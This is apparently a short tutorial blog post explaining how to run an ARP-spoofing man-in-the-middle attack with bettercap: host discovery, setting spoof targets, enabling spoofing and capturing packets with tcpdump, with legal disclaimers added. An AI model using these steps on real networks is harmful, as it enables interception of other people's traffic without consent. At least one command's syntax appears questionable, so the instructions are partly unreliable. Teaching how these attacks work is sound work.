bettercap ARP Spoofing Guide

G5 Cyber Security

2 weeks ago

TL;DR

This guide shows you how to use bettercap to perform ARP spoofing (man-in-the-middle attacks) on your local network. Warning: This is for educational purposes only. Performing ARP spoofing without permission is illegal and unethical.

Prerequisites

A Linux machine (Kali Linux recommended).
Root privileges (sudo access).
bettercap installed. You can install it using:
```
sudo apt update && sudo apt install bettercap
```
Basic understanding of networking concepts (IP addresses, MAC addresses, ARP).

Steps

Check your network interface. Find the name of your wireless or Ethernet interface using:
```
ip addr
```
Look for an interface like wlan0 (wireless) or eth0 (Ethernet).
Start bettercap in interactive mode. Run:
```
sudo bettercap -iface wlan0
```
Replace wlan0 with your actual interface name.
Discover network devices. Once inside bettercap, use the net.recon command to scan for hosts on your network:
```
net.recon
```
This will populate a list of IP addresses and MAC addresses. It may take a few minutes.
Set targets for ARP spoofing. Use the arp.spoof command to specify the target IP address(es). You can target multiple IPs:
```
arp.spoof 192.168.1.10 192.168.1.20
```
Replace these with the actual IP addresses you want to spoof.
Start ARP spoofing. Activate the spoofing:
```
arp.spoof on
```
bettercap will now start sending fake ARP replies, redirecting traffic through your machine.
(Optional) Capture traffic with tcpdump. To see the intercepted packets, you can run tcpdump in another terminal:
```
sudo tcpdump -i wlan0
```
Replace wlan0 with your interface name.
Stop ARP spoofing. When finished, disable spoofing:
```
arp.spoof off
```
Exit bettercap. Type exit to leave the interactive mode.

Important Considerations

ARP spoofing relies on trust within a local network. Modern networks often have security measures in place to detect and prevent ARP attacks.
Capturing traffic without permission is illegal. This guide is for educational purposes only, to understand how these attacks work and how to protect against them.
Be aware of the ethical implications before attempting any network manipulation.